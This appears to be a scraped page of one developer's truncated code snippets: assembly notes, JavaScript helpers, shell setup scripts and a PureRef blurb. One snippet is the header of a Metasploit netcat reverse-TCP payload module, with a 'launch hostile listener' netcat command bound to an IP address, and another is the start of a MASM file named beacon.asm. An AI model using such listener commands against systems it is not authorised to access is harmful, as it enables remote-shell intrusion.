mikesmullin

Mike's x86-64 Assembly (ASM) Notes

Assembling Binary Machine Code

Operating Modes:

These determine the assumed/default size of instruction operands, and restricts which opcodes are available, and how they are used.

Modern operating systems, booted inside Real mode,

mikesmullin

const path = require('path');

function trace(s) {
    const orig = Error.prepareStackTrace;
    Error.prepareStackTrace = (_, stack) => stack;
    const err = new Error();
    Error.captureStackTrace(err, arguments.callee);
    Error.prepareStackTrace = orig;
    const callee = err.stack[0];
    process.stdout.write(`${path.relative(process.cwd(), callee.getFileName())}:${callee.getLineNumber()}: ${s}\n`);

mikesmullin

const promiseBatch = async function* (concurrency, list, fn) {
  for (let p = [], i = 0, l = list.length; i < l || p.length > 0;) {
    if (i < l) {
      let _p;
      _p = fn(list[i]).then(r => [_p.__id, r]);
      _p.__id = i++;
      if (p.push(_p) < concurrency) {
        continue;
      }
    }

mikesmullin

sudo apt-get install unzip;
wget -O /tmp/chromedriver.zip http://chromedriver.googlecode.com/files/chromedriver_linux64_19.0.1068.0.zip && sudo unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/;

mikesmullin

#!/usr/bin/env bash
# script:  watch
# author:  Mike Smullin <mike@smullindesign.com>
# license: GPLv3
# description:
#   watches the given path for changes
#   and executes a given command when changes occur
# usage:
#   watch <path> <cmd...>
#

mikesmullin

PureRef

It's good software.

https://www.pureref.com/

Description

All your reference images in one place. Organize your inspiration and speed up your creative process with PureRef.

mikesmullin

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# /usr/share/metasploit-framework/modules/payloads/singles/generic/nc_reverse_tcp.rb
# usage:
# # launch hostile listener
# $ sudo nc -vlp 80 -ns 192.168.119.198

mikesmullin

# setup msmtp for sending out email
# as an alternative to sendmail
# i prefer this because it is easier to install and configure than sendmail
# especially when using Gmail smtp servers
sudo -i
apt-get install msmtp
ln -s /usr/bin/msmtp /usr/sbin/sendmail
touch /var/log/msmtprc && chmod 666 /var/log/msmtprc
vim /etc/msmtprc
# config options: http://msmtp.sourceforge.net/doc/msmtp.html#A-user-configuration-file

mikesmullin

; compile with MASM32
; C:\masm32\bin\ml /c /Zd /coff beacon.asm
; C:\masm32\bin\Link /SUBSYSTEM:WINDOWS beacon.obj
; beacon.exe
;
.386
.model flat, stdcall
option casemap :none
include C:\masm32\include\windows.inc
include C:\masm32\include\kernel32.inc

mikesmullin

#!/bin/bash

# see original thread discussion:
# http://ubuntuforums.org/showthread.php?t=1370383

declare -i sinks=(`pacmd list-sinks | sed -n -e 's/\**[[:space:]]index:[[:space:]]\([[:digit:]]\)/\1/p'`)
declare -i sinks_count=${#sinks[*]}
declare -i active_sink_index=`pacmd list-sinks | sed -n -e 's/\*[[:space:]]index:[[:space:]]\([[:digit:]]\)/\1/p'`
declare -i next_sink_index=${sinks[0]}